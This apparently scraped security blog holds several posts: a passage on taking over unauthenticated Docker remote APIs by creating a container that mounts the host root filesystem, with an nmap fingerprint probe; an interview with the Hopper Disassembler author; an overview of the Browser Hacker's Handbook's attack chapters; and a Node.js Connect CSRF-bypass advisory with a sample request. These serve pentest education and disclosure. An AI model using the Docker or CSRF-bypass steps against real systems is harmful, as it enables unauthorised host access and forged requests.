Looking at the <a href="https://docs.docker.com/reference/api/docker_remote_api/">API reference</a> you'll see the APIs support all the operations you'd expect in a VM-management tool. By default there is no authentication so all you need is finding the target (which you can fingerprint by hitting the <span style="font-family: Courier New, Courier, monospace;">/version</span> endpoint) - unless, of course, the admin has enabled some other kind of protection. The simplest way to do so is to use Docker's <a href="https://docs.docker.com/articles/https/">tlsverify feature</a>, and everyone should do that. However, given the process does not work on OsX, guess how many programmer's laptops you are going to pop?</div>
<div>
<br /></div>
<h3>
Accessing the host file system</h3>
<div style="text-align: justify;">
<div style="text-align: justify;">
The trick is ultimately quite simple: you just start a new container (think of it as a VM and you won't be far off) with a special configuration, then access it. First, create a container on the host (I'm trying to keep the call small here):</div>
</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">POST /containers/create?name=cont_name HTTP/1.1</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Content-Type: application/json</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> {</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> "Cmd": ["/bin/bash"],</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> "Image":"ubuntu",</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"> }</span></div>
</div>
<div>
<br /></div>
<div style="text-align: justify;">
You'll get back an ID for your container. Now, start the container: note that in my experiment I was able to make these "Binds" only work once, the first time a container is started.</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">POST /containers/$<i>ID</i>/start</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Content-Type: application/json</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> "Binds":["/:/tmp:rw"]</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> }</span></div>
<div>
<br /></div>
</div>
<div style="text-align: justify;">
<b>Now you have a running container where the /tmp directory maps back to the / of the host.</b> You have to login to the container to go wild on the host, but since you don't have direct access to said poor host, you need to have SSHd running on your container. The default Ubuntu image won't have SSHd up, so you'll have to use a different image (consider <a href="http://phusion.github.io/baseimage-docker/">baseimage-docker</a>) or tweak around with the cmd - this very last part is left as an exercise for the reader... or scream at me enough in the comments and I'll come up with something. Alternatively, you could be able to use the copy endpoint (<a href="https://docs.docker.com/reference/api/docker_remote_api_v1.14/#copy-files-or-folders-from-a-container">documentation of the copy endpoint</a>) but I've not experimented with that.</div>
<div>
<br /></div>
<h3>
Why this is worth writing about, or why I don't like un-authed admin interfaces</h3>
<div style="text-align: justify;">
As I said at the beginning of the post, this writeup is mostly a time saver for those dealing with Docker during a penetration test. However, there is something that I don't like in the way Docker has gone about designing these APIs: the lack of any default auth entirely.</div>
<div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
There are of course various reasons why you would ship such a critical feature with no authentication to be seen: time to market, the fact that after all it is disabled by default, or more likely the will to attain segregation of duties. Designing a secure authentication system is complicated, error prone and difficult, and ultimately not the role of an API. Delegating it is a better idea than botching it, so that it is clear where things go wrong.</div>
<br />
<div style="text-align: justify;">
I beg to disagree, and I'd have expected better from a company that produced <a href="http://jpetazzo.github.io/2014/06/23/docker-ssh-considered-evil/">such a well thought discussion on the security issues with running SSH on a container</a>. I'm going to argue that there is a <b>huge gap between having a clearly horrible authentication system and</b> <b>nothing at all.</b> The sad truth, as anyone who has done any pentest in his career will tell, is that the vast majority of the end users will run with whatever was shipped out of the box. Security people cheered when Oracle started to require users to set passwords during installation instead of setting default ones (ok ok, that's a long story), and the experience of the <a href="http://internetcensus2012.bitbucket.org/paper.html">Internet Census</a> tells us how easy it is to forget to change that password, or to setup that auth.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Of course, security minded admins will set up things correctly and invest all the time needed to configure a secure environment. But what about the others? Was it so difficult to require a Basic Auth-powered password at startup?</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Friction (as in, anything that makes your product harder to use) is bad, but pwned users are worse.</div>
<br />
<i>Bonus: Here is a simple nmap probe for the Docker APIs.</i><br />
<br />
<div style="background-color: white; color: #212121; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;">
<div>
##############################NEXT PROBE##############################</div>
<div>
<div>
# Queries Docker APIs for the /version url containing version information.</div>
<div>
#</div>
<div>
Probe TCP docker q|GET /version HTTP/1.1\r\n\r\n|</div>
<div>
rarity 7</div>
<div>
ports 2375</div>
<div>
sslports 2376</div>
<div>
<br /></div>
<div>
match docker m|.*{"ApiVersion":"(.*)","Arch".*"GitCommit":"(.*)","GoVersion".*"Os":"(.*)","Version":"(.*)"}.*| p/Docker remote API/ v/$1/ o/$3/ i/GitCommit:$2 DockerVersion:$4/</div>
</div>
<div>
<br /></div>
</div>
</div>
Claudio Criscionehttp://www.blogger.com/profile/12202628660778574382noreply@blogger.com2tag:blogger.com,1999:blog-732257695511948254.post-68964163311373170712014-07-07T00:43:00.001-07:002014-07-07T00:43:43.325-07:00Five questions with: Vincent Bénony (Hopper Disassembler)<div style="text-align: justify;">
In recent years, we have seen an increase of micro software-house building amazing security software and actively contributing to re-define how we do security. Personal projects quickly turning into powerful tools used by thousands of people to improve the security of many systems around the world. We live in exciting time, where a small team can build things that are going to shape the future of infosec. At NibbleSec, we support and celebrate those successes.</div>
<br />
<div style="text-align: justify;">
<a href="http://www.cryptic-apps.com/Hopper.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://www.cryptic-apps.com/Hopper.png" height="140" width="140" /></a>
Today, we asked <b>Vincent Bénony</b> to talk about his experience with the<b> </b><a href="http://www.hopperapp.com/"><b>Hopper Disassembler</b>:</a></div>
<b><br /></b>
<b>Q:</b> Hi Vincent, would you mind telling us a little bit about yourself? How did you get into programming and security?<br />
<br />
<div style="text-align: justify;">
<b>A: </b>Hi! This is a long story...I started programming when I was very young, with the Oric Atmos (if any of you remember this computer). Back then, I was 7 and I’m not sure that I understood what I was doing. I continued on the Amiga, where I really discovered the assembly language with the Motorola 68000. By the way, these were my very first steps with reverse engineering. Like many other guys at that time, I started looking at the anti-copy schemes of games. Each time, it was a really fun challenge. Then, I moved to the demo scene and continued coding small demos. Naturally, I chose to study computer science at the university where, later on, I defended my PhD in the field of cryptography. That was the time when I got back to security and reverse engineering.</div>
<br />
<div style="text-align: justify;">
<b>Q:</b> When did you realize that Hopper was something more than a personal project? How did this happen?</div>
<br />
<div style="text-align: justify;">
<b>A: </b>I started working on Hopper as a hobby project, as I was not able to afford the price of an IDA license. At that time, I realized that I didn’t need to have such a powerful tool, and that only a few of IDA's features were really useful to me. Being a OS X user, I really don’t like the look-and-feel of most Qt applications as they're just a raw transposition of Windows versions; they feel like aliens in my OS, and most of the UX habits cannot be transposed to these UIs. Qt is a great toolkit - I love it, and I use it for the Linux version of Hopper - but I really think that each version has to be customized for the targeted OS…
So, I decided to write a very little program to do interactive disassembly. And the project started to grow. It was developed at night, after my daily job, and when my children were sleeping :)
And then, the Mac App Store was announced…
It changed many things. A friend of mine - Hello Sebastien B. :) - told me that I should try to see if there are people interested in such an application on the Mac App Store. I really doubted at first, but I tried anyway… and then… a miracle. I rapidly encountered many people who were interested in the idea of a lightweight alternative of IDA for OS X.
The project started to require a lot of time. I received a lot of very positive feedbacks from users, hence I had to make a choice between my job and Hopper…I decided that I had to take my chance. Today, I'm always amused when I look at the very first screenshots of Hopper. It helps me to measure the amount of work that has been done :)</div>
<br />
<div style="text-align: justify;">
<b>Q:</b> As a micro software company, what are the problems and opportunities?</div>
<br />
<div style="text-align: justify;">
<b>A: </b>Problems are multiple.
First, the development of the software by itself represents only a small part of my day-to-day job. Commercializing a software is not just producing code. I have to deal with many things like the website, users support, legal aspects (accounting, taxes…), and even things that may sound anecdotical, but which take me a lot of time like drawing icons :) - btw, I’m clearly not a designer.
That being said, this is only a matter of organization.
And I’m always pleased to see that there are so many positive feedbacks! This is something that pushes me beyond my limits. I always try to communicate as much as I can about the software and its development. Many times, people are talking about the project on medias like Twitter, which is a really great tool to help me reaching out potentially interested people. Security conferences are also something that I’m trying to follow as much as I can. For instance, I'm trying to go to every conference in France: I’m almost sure to meet people who use this kind of software, and their feedback is always a great value! Most of the features that were added to <a href="http://hopperapp.tumblr.com/post/76212665426/hopper-disassembler-v3-at-last-its-almost">Hopper v3</a> are things that were discussed with people I met in conferences like <a href="http://www.nosuchcon.org/">NoSuchCon</a> in Paris.</div>
<br />
<div style="text-align: justify;">
<b>Q:</b> Being a one-person software company, how do you track and prioritize new features and bugs? Which software development model are you following? In other words, how do you make sure that you're working on something relevant?</div>
<br />
<div style="text-align: justify;">
<b>A: </b>I’m an academic person, hence, I was not really at ease with software development methods used by real companies. I don’t know how it works outside France, but the studies I followed were purely about the theoretical aspects of computer science and nothing else. I have a coherent vision of what I would like to reach with Hopper. I always read all messages that I receive from my customers and I write all ideas that are compatible with the initial view I had for my software on my todo list. I’m always trying to avoid mutating Hopper into something that pretends to fit the needs of everyone; I want it to be lightweight, and coherent.
Once I filtered the features that I want to implement, I usually start with the most visible part, implementing bogus functional parts. This is a good way to have a rapid visual feedback. If the feature still makes sense according to my usual workflow, it is kept. I really need to see the progress on a feature, and starting with the visual parts helps me a lot!
Another thing, I strongly believe that the only way to write something coherent is to be the first client of your software. I use Hopper a lot, for many things, even debugging Hopper itself :)</div>
<br />
<div style="text-align: justify;">
<b>Q: </b>What would you recommend to people starting or maintaing a security tool? Which business model would you recommend to turn a personal project into a sustainable source of income?</div>
<br />
<div style="text-align: justify;">
<b>A: </b>I'm not sure whether my very little experience in the field is really relevant.
Evaluating simple things, like the product price, the targeted audience, and so on, is very difficult but it's something that needs to be done. After that, I really love to simulate things: I wrote tons of Python scripts to simulate the viability of my company for the next 10 years (with a lot of pessimistic hypothesis, to avoid future problems). If Hopper will continue to be a stable project is too soon to say, but I did my best to avoid jumps into the wild, with a no clear view on what I want to achieve.
Anyway, deciding to work full-time on Hopper was one of the best thing that I've ever done: working on something stimulating is really awesome! Sometimes exhausting, but really awesome :)</div>
Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com2tag:blogger.com,1999:blog-732257695511948254.post-63173514274251892022014-06-03T07:37:00.002-07:002014-06-06T06:53:51.199-07:00An Overview of The Browser Hacker's Handbook<div style="text-align: justify;">
Writing a book is definitely a big and time-consuming task. After one year me, Wade Alcorn and Cristian Frichot finally released the Browser Hacker's Handbook in March 2014. Looking backwards at our git repository (I know it's not ideal to track binary file changes such as MS Word with git..), I counted more than 2300 commits, starting 5 December 2012 drafting the ToC and finishing 30 March 2014 with the creation of the <a href="https://browserhacker.com/" target="_blank">https://browserhacker.com</a> website.</div>
<div>
<br /></div>
<div style="text-align: justify;">
Only after you write a book you can understand two things:</div>
<div style="text-align: justify;">
- why your partner always deserves the first big THANKS</div>
<div style="text-align: justify;">
- why you will not write another book for at least the next 5 years</div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Our adventure started when Wade and me were discussing about creating a BeEF training, to be presented at SysCan. Eventually we decided to switch to the book and maybe take care of the training later on (it's still in our overly long TODO list).</div>
<br />
<div style="text-align: justify;">
The Browser Hacker's Handbook (BHH) is the first book focused entirely on browser hacking from the attacker's perspective, which was something somehow missing so far (even Portswigger mentions that in the Web Application Hacker's Handbook 2nd edition). There are other books I personally recommend if you're interested in browser/web security, like <a href="http://lcamtuf.coredump.cx/tangled/" target="_blank">The Tangled Web</a> from Michał Zalewski and <a href="http://www.amazon.com/Web-Application-Obfuscation-Evasion-Filters/dp/1597496049" target="_blank">Web Application Obfuscation</a> from Mario Heiderich (friend and BHH technical editor, kudos!) et al. Both of the books are great and technically deep, but none of them focus exclusively on the browser ecosystem and how it can be attacked, so there you go BHH :-)</div>
</div>
<div>
<br /></div>
<div style="text-align: justify;">
Something worth noting is that this is not a book about BeEF, which is mentioned multiple times but it's not the focus of the book. Most of the code (see <a href="http://browserhacker.com/code/code_index.html" target="_blank">http://browserhacker.com/code/code_index.html</a>) is pure JavaScript/Ruby, which you can use with your own browser hacking framework or something else different from BeEF. BeEF was mentioned throughout the book not only because Wade created it and I'm the lead core developer, but simply because there is no other open source tool at the moment that is mature enough (yeah, we're still in alpha..) and has the number of modules currently in BeEF. Many people around the world use BeEF professionally for social engineering and red-team assessments with success, demonstrating that BeEF is mature enough to be used during your own pentests. Even Jester modified it adding a bunch of 0days and other stuff, and was using it in the wild a while back: <a href="http://jesterscourt.cc/2012/07/04/project-looking-glass/" target="_blank">http://jesterscourt.cc/2012/07/04/project-looking-glass/</a> </div>
<div>
<br /></div>
<div style="text-align: justify;">
What we decided to do was to create the first browser hacking methodology that comes handy in red-team and social engineering engagements. The methodology can be summarized with the diagram below:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9szgU7KrUPTqRJ5de1CqhUuWrSAwv2FYf4gCgfJWywchCmzQNBn6m47SXidxI2DSt2NMNUZnplC_fRYpDyOYNRrkERo2hh0Q_qtroqT1GjqX8bx-hTvN6jUgMaNxEnaUwedOsHTAfhEKI/s1600/662090+c01f001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9szgU7KrUPTqRJ5de1CqhUuWrSAwv2FYf4gCgfJWywchCmzQNBn6m47SXidxI2DSt2NMNUZnplC_fRYpDyOYNRrkERo2hh0Q_qtroqT1GjqX8bx-hTvN6jUgMaNxEnaUwedOsHTAfhEKI/s1600/662090+c01f001.png" height="400" width="300" /></a></div>
<div style="text-align: justify;">
As you can see there is an entire chapter dedicated to each of these categories, and to be honest it wasn't that easy to categorize some of the attacks to be in a chapter rather than another one. For instance, we discuss multiple RCEs in various web applications in Chapter 9 (and how you can exploit them cross-origin from the hooked browser), but also in Chapter 10 when discussing the BeEF Bind shellcode technique. SOHO router attacks and some social engineering attacks are other examples of attack categories that can overlap in multiple chapters.</div>
<div>
<br /></div>
<div>
<b>Initiating Control</b></div>
<div style="text-align: justify;">
The book starts with introducing control initiation techniques, a mandatory step if you want to have the target browser execute your malicious code. From the multiple types of XSS including DOM-based and Universal-XSS types, to social engineering attacks involving baiting and phishing (btw, you can do template-based mass-mailing and phishing all with BeEF), finishing with classic Man-in-the-Middle scenarios like ARP Spoofing, DNS Poisoning, Wi-Fi related things and so on. After experimenting with source code and attacks discussed in this chapters, you should have a solid grasp about how to start your browser hacking journey.</div>
<div>
<br /></div>
<div>
<b>Retaining Control</b></div>
<div style="text-align: justify;">
You initiated control with the browser executing some code, most likely JavaScript: now you need to retain that control as longer as possible. Some attacks might need only one or two seconds to complete, others might take several seconds or minutes depending on their configuration. Additionally, you want to have a dynamic communication channel (in other words, bidirectional) in order to have the hooked browser extruding data to your server, and the server pushing new code to be executed by the browser. Communication techniques such as XMLHttpRequest polling, WebSockets and DNS Tunneling (yes, bidirectional and purely in the browser without using plugins) are discussed, as well as some persistence techniques like Overlay IFrames, pop-unders, browser events and more advanced Man-in-the-Browser attacks. The chapter finishes presenting examples on evading detection and playing with obfuscation, which can generally be resumed as the following pseudo-code:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt7iwgPL6NYadJXI8fNByYFoJy64FPlqP4xd2B5E432f5hU3PT9cpHlqFkox-yr_3-GE6FQopfUxJToYNbVIlOd0WWxGk5Q9-6JlYe7JyejwMWMLif349eqiYFz5orOaAg90tCwkMsDxtL/s1600/Screen+Shot+2014-05-20+at+6.28.42+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt7iwgPL6NYadJXI8fNByYFoJy64FPlqP4xd2B5E432f5hU3PT9cpHlqFkox-yr_3-GE6FQopfUxJToYNbVIlOd0WWxGk5Q9-6JlYe7JyejwMWMLif349eqiYFz5orOaAg90tCwkMsDxtL/s1600/Screen+Shot+2014-05-20+at+6.28.42+PM.png" height="184" width="320" /></a></div>
<div>
<br /></div>
<div>
<b>Bypassing the SOP</b></div>
<div style="text-align: justify;">
The Same Origin Policy is probably the most important, inconsistently implemented, broken and bypassed security control in nowadays browsers. The chapter goes through many different SOP implementations in Java, Adobe Reader/Flash, Silverlight and multiple browsers, presenting some well-known and less-known quirks, bugs and bypasses (some of them not even patched or by-design). This chapter also analyzes UI redressing attacks such as Clickjacking, Cursorjacking, Filejacking, drag&drop tricks and provides some real-world examples about how to steal browser history. Bypassing the SOP is an optional step, as well as the next attacking phases. While you need to initiate and retain control, you might not need to bypass the SOP or attack web applications if your goal is to trick the user to install a backdoored Chrome extensions for instance. Going through the book, especially in Chapter 9 and 10, you will discover the multitude of attacks you can still deliver against web applications and networks without the need for a SOP bypass.</div>
<div>
<br /></div>
<div>
<b>Attacking Users</b></div>
<div>
<div style="text-align: justify;">
Humans are often referred to as the weakest link in information security. Is it our inherent desire to be ‘helpful’? Perhaps it’s our inexperience. Or, is it simply our (often) misplaced trust in each other? Either way, social engineering users is always fun. The less they know about computers in general, the better, as they tend to click OK or ALLOW on any kind of real or spoofed user prompt you can create. This chapter introduces how to capture multiple types of user input via hooking JavaScript events. </div>
<div>
<br /></div>
<div style="text-align: justify;">
For instance a nice and easy attack, in case the browser was hooked via a post-auth XSS, is to create an overlay IFrame that loads the same-origin resource being the login page of the hooked origin. This IFrame has also a JavaScript keylogger attached to it: the user thinks his session just expired, so he enters his credentials, which are captured and sent back to us. At the same time this attack achieves some form of persistence, as the communication channel is running in the background while the user browses in the foreground overlay IFrame. Many other social engineering attacks are discussed such as Signed Java Applets, Fake Software Updates, Malicious Extensions, HTAs and other tricks on Internet Explorer.</div>
</div>
<div>
<br /></div>
<div>
<div>
<b>Attacking Browsers</b></div>
<div style="text-align: justify;">
This chapter deals with attacking the browser itself. Before attacking it you want to exactly fingerprint which browser type and version is hooked. Fingerprinting through HTTP headers, DOM properties, software bugs and other quirks are discussed. Combining these fingerprinting techniques all together you can be almost sure that even if someone is spoofing his browser type/version, you get an accurate fingerprinting result. Cookies, protocol handlers (aka schemes) and the SSL/TLS layers are also discussed, with some examples of attacks and bypasses. The chapters ends with some analysis of heap exploitation in Firefox and other examples of how you can get shells if you find a bug in the browser JavaScript interpreter or HTML parser.</div>
</div>
<div>
<br /></div>
<div>
<div>
<b>Attacking Extensions</b></div>
<div style="text-align: justify;">
Browser extensions always run in a privileged context, with higher privileges than for instance the normal context where JavaScript is executed when you browse to <a href="https://browserhacker.com/" target="_blank">https://browserhacker.com</a>. For this reason, if the extension is bugged, or if you can trick the user to install your malicious extension, it's usually game over. Firefox and Chrome extensions are discussed, including fingerprinting, spoofing, cross-context scripting and various RCEs. Remember that at the time of writing the book and this blog post, Firefox extensions do not run in a sandbox, so an XSS in the extension leads to RCE. Chrome extensions (especially with manifest version 2, which is the default right now) are less vulnerable, especially thanks to the adoption of the Content Security Policy, but the malicious/backdoored extension social engineering trick is still a viable option. Luca and me discussed this a while ago in this post: <a href="http://blog.nibblesec.org/2013/03/subverting-cloud-based-infrastructure.html" target="_blank">http://blog.nibblesec.org/2013/03/subverting-cloud-based-infrastructure.html</a></div>
</div>
<div>
<br /></div>
<div>
<div>
<b>Attacking Plugins</b></div>
<div style="text-align: justify;">
In the previous years (well, months) before Click-to-Play was implemented in the Java plugin and on Chrome/Firefox, 0days on Java, Adobe Reader/Flash, RealPlayer, VLC and others were the preferred and easier way to create botnets. The exploitation of those bugs in the wild was pretty crazy. So far Internet Explorer and Safari are the only major browsers that still do not implement Click-to-Play, so plugin attacks are still quite possible with those browsers, but not really an option on Chrome/Firefox (unless you have a Click-to-Play bypass in your 0day collection). Multiple bypasses are discussed in the chapter, as well as other tricks you can use with VLC, ActiveX and Java.</div>
</div>
<div>
<br /></div>
<div>
<div>
<b>Attacking Web Applications</b></div>
<div style="text-align: justify;">
The main concept behind BHH is abusing existing functionality of the browser ecosystem to subvert the system. This includes launching traditional web application attacks from the hooked browser, which effectively becomes a beachhead and a pivot point for the internal network. Something (probably not that well known) is that without a SOP bypass you can still send cross-origin requests without generating a preflight request. This happens obviously with GET, HEAD, but also with POST with certain content types such as text/plain, application/x-www-form-urlencoded and multipart/form-data. Such behavior is enough to carry on attacks where:<br />
- you need to "blindly" send the request: for example, you can exploit any XSRF, RCEs, DoS and so on cross-origin;<br />
- you need to infer on request/response timings: for example, you can exploit cross-origin any kind of SQL injection using time-based blind attack vectors.<br />
You can even detect and blindly exploit XSS cross-origin, damn! You can actually do so many things without a SOP bypass and working fully cross-origin, that you have to read the chapter to get a good grasp. You can even create a full HTTP/HTTPS proxy with just an XSS.</div>
</div>
<div>
<br /></div>
<div>
<div>
<b>Attacking Networks</b></div>
<div>
<div style="text-align: justify;">
That last chapter of the book focus on attacking networks (mostly internal networks, but not limited to it), starting with various techniques to retrieve the internal IP address of the hooked browser, to ping sweeping, port scanning and fingerprinting. The main part of the chapter is devoted to IPC/IPX, Inter-protocol Communication and Exploitation. Basically you can communicate via HTTP with non-HTTP protocols like IRC, SIP, IMAP, and most ASCII protocols if two conditions are met:</div>
<div style="text-align: justify;">
- the protocol implementation is tolerant to errors, meaning that it doesn't close the socket if you send garbage data;</div>
<div style="text-align: justify;">
- the ability to encapsulate target protocol data into HTTP requests.</div>
<div style="text-align: justify;">
Generally speaking, when IPC works, you communicate with the target protocol sending a POST request with the body containing protocol commands. HTTP request headers are discarded as not-valid commands, but the POST body is actually executed.</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: justify;">
In the book we exploit this behavior in order to send shellcode, the BeEF Bind shellcode originally written by Ty Miller for Windows and ported to Linux by Bart Leppens. BeEF Bind is a staging bind shellcode that acts like a minimal web server, returning the <i>Access-Control-Allow-Origin: *</i> HTTP response header and piping OS commands. In this way you can have the browser communicate via HTTP with the compromised box, and also a stealthier communication channel, as you can see in the diagram below:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivIrtWPIGaDZW_O1jDQEpvbxihykgEp22UFxvNP9Qq38eQs_aFEcdy-u5Fua-eZTBZh4M92y65VByH2DP6kBNaUAQUuL-sB83JwDEiywn7jDCLazB9FmH58ote9i_Kf-4Z9B66CynEgXqI/s1600/662090+c10f030.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivIrtWPIGaDZW_O1jDQEpvbxihykgEp22UFxvNP9Qq38eQs_aFEcdy-u5Fua-eZTBZh4M92y65VByH2DP6kBNaUAQUuL-sB83JwDEiywn7jDCLazB9FmH58ote9i_Kf-4Z9B66CynEgXqI/s1600/662090+c10f030.png" height="473" width="640" /></a></div>
<br /></div>
</div>
<div>
<div style="text-align: justify;">
So, this is the Browser Hacker's Handbook! Read it and experiment with the code at <a href="https://browserhacker.com/" target="_blank">https://browserhacker.com</a> if you're interested in hacking browsers, web application security, or if you need to secure your (web-)infrastructure. Your browsers and intranets have never been more exposed! :-)</div>
<br />
Cheers<br />
antisnatchor</div>
<div>
<br /></div>
antisnatchorhttp://www.blogger.com/profile/03173738206871868867noreply@blogger.com5tag:blogger.com,1999:blog-732257695511948254.post-76671249275318560912014-05-05T09:27:00.002-07:002014-06-05T09:33:31.945-07:00Node.js Connect CSRF bypass abusing methodOverride middleware<div style="text-align: justify;">
In the <a href="http://blog.nibblesec.org/2014/04/on-web-frameworks-built-in-security.html">previous post</a>, I discussed the importance of well-written documentation and uncomplicated APIs suggesting that poor documentation and negligence should be considered as silent threats.</div>
<br />
<div style="text-align: justify;">
Almost a year ago, I reported the following issue to the Node.js Connect's maintainers. To me, this is a perfect example of the risks of an incomplete API documentation that doesn't clearly warn the user of potential side-effects. Please note that in the recent releases of Express, <i>connect-csrf</i> is now called <i>csurf </i>and <i>methodOverride</i> is now <i>method-override</i>. Different names, same API.</div>
<br />
<h4>
Disclosure timeline</h4>
<div style="text-align: justify;">
This issue was reported to Senchalabs on 07/25/2013. Despite my requests to add a warning in the online documentation, there's still no indication of potential side-effects in <a href="http://www.senchalabs.org/connect/methodOverride.html">Connect MethodOverride</a>. On 09/07/2013, this advisory was also published by the <a href="http://blog.nodesecurity.io/post/60555138201/bypass-connect-csrf-protection-by-abusing">NodeSecurity</a> community. Unfortunately, I don't think that the issue raised the adequate level of attention as suggested by the many vulnerable applications that I've encountered.</div>
<br />
<h4>
Technical details</h4>
<div style="text-align: justify;">
Connect’s <i>methodOverride</i> middleware allows an HTTP request to override the HTTP verb with the value of the <b>_method</b> post parameter or with the <b>x-http-method-override </b>header. As the declaration order of middlewares determines the execution stack in Connect, it is possible to abuse this functionality in order to bypass the standard Connect’s anti-CSRF protection.</div>
<br />
Considering the following code:<br />
<br />
<pre style="background-color: white; border: 2px solid rgb(221, 221, 221); color: #353535; font-family: courier; font-size: 12px; line-height: 19.5px; outline: none 0px; padding: 0px; vertical-align: baseline;">...
app.use express.csrf()
...
app.use express.methodOverride()</pre>
<br />
<div style="text-align: justify;">
Connect’s CSRF middleware does not check CSRF tokens in case of idempotent verbs (GET/HEAD/OPTIONS, see <a href="https://github.com/expressjs/csurf/blob/master/index.js#L70">csurf/index.js</a>). As a result, it is possible to bypass the security control by sending a GET request with a POST MethodOverride header or parameter.</div>
<br />
<pre style="background-color: white; border: 1px solid rgb(221, 221, 221); color: #333333; font-family: courier; font-size: 12px; line-height: 19.5px; outline: none 0px; padding: 0px; vertical-align: baseline;">GET / HTTP/1.1
[..]
_method=POST</pre>
<br />
<div style="text-align: justify;">
The workaround is clearly to disable methodOverride or make sure that it takes precedence over other middleware declarations.</div>
<br />
<div style="text-align: justify;">
Adam Baldwin made an <a href="https://github.com/evilpacket/eslint-rules/blob/master/no-csrf-before-method-override.js">eslint plugin</a> that you can use to identify this issue.<br /><br />
<i>Update 06/04</i>: Douglas W. pointed out that it's probably a good idea to move to method-override version 2+ (<a href="https://www.npmjs.org/package/method-override#readme">https://www.npmjs.org/package/method-override#readme</a>). The documentation has been updated with a reference to this issue.
</div>Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com8tag:blogger.com,1999:blog-732257695511948254.post-78261340533769747902014-04-30T22:48:00.001-07:002014-05-02T11:34:15.626-07:00On web frameworks, built-in security mechanisms and common pitfalls<div style="text-align: justify;">
Modern web application frameworks are expected to provide built-in security mechanisms against common flaws, such as Cross-Site Request Forgery and injection attacks. Developers can benefit from these protections as they don't need to create ad-hoc defense mechanisms and they can rather focus on building features.</div>
<br />
Citing the <a href="https://www.owasp.org/index.php/OWASP_Framework_Security_Project#tab=Main">OWASP Framework Security project</a><br />
<blockquote class="tr_bq">
The most effective way to bring security capabilities to developers is to have them built into the framework.</blockquote>
<br />
<div style="text-align: justify;">
Although built-in security features have clearly improved web security, using a framework doesn't necessarily guarantee a bullet-proof application. When theory and practice diverge, things can still go wrong:</div>
<ol>
<li><b style="font-weight: bold;">Frameworks are not immune to bugs. </b>They are software. As such, they can be affected by security issues too. Security mechanisms can be bypassed or abused. </li>
<li><b>Poor or inconsistent documentation. </b>Using appropriate APIs and invoking those calls in the right way is a crucial aspect for leveraging all security mechanisms. Unfortunately, the quality of the documentation doesn't always facilitate the job of developers. </li>
<li><b>Negligence. </b>Developers still need to read (and understand) the documentation. Building secure software is complicated and requires in-depth understanding of all subtle details.</li>
</ol>
<div>
<div style="text-align: justify;">
Although dealing with security issues in production environments is always painful, fixing application framework bugs is even more complicated. As they usually impact an high number of websites, weaponized exploits are often available in a few hours after the disclosure. On the other side, not all vendors are sufficiently agile to provide a patch. Moreover, the resolution with homegrown fixes may not be trivial. Finally, developers and QA engineers do not necessarily have visibility on the actual code changes, thus they're forced to perform full regression testing to make sure that the application still works as expected.</div>
<br />
<div style="text-align: justify;">
Despite that, <b>security bugs are generally the most evident problem</b>. High impact security flaws in common frameworks generate Hacker News threads, flames in security mailing lists and even receive mainstream attention. Good developers and blue teams follow security mailing, vulnerability feeds and vendor announcements. The probability of stepping into an advisory is close to one.
</div>
<div>
<span style="font-size: small; font-weight: normal;"><br /></span></div>
<div style="text-align: justify;">
On the contrary, <b>poor documentation and negligence are silent threats</b>. You won't find as many blog posts or security advisories talking about 'insecure' API usage or misconfigurations.</div>
<div style="text-align: justify;">
For instance, everyone in the security community uses the <a href="http://cve.mitre.org/">CVE</a> acronym, but just few folks know what CCE stands for (btw, it's <a href="https://cve.mitre.org/data/board/archives/2006-08/msg00000.html">Common Configuration Enumeration</a>).</div>
<br />
<blockquote class="tr_bq">
Since the very first days, the CVE Editorial Board has recognized the need to address both software flaws (aka vulnerabilities) and mis-configurations (aka exposures). The CCE project is logical next step in the evolution of CVE to finally address the 'E' in CVE.</blockquote>
<br />
To reinforce my point, let's think together about real-life examples for each category:<br />
<ol>
